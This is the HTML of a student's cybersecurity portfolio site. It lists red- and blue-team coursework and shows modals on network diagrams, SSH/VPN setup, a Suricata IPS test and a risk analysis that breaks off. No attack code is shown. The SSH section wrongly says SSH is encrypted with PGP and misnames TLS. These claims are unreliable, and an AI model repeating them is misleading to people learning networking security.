</div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 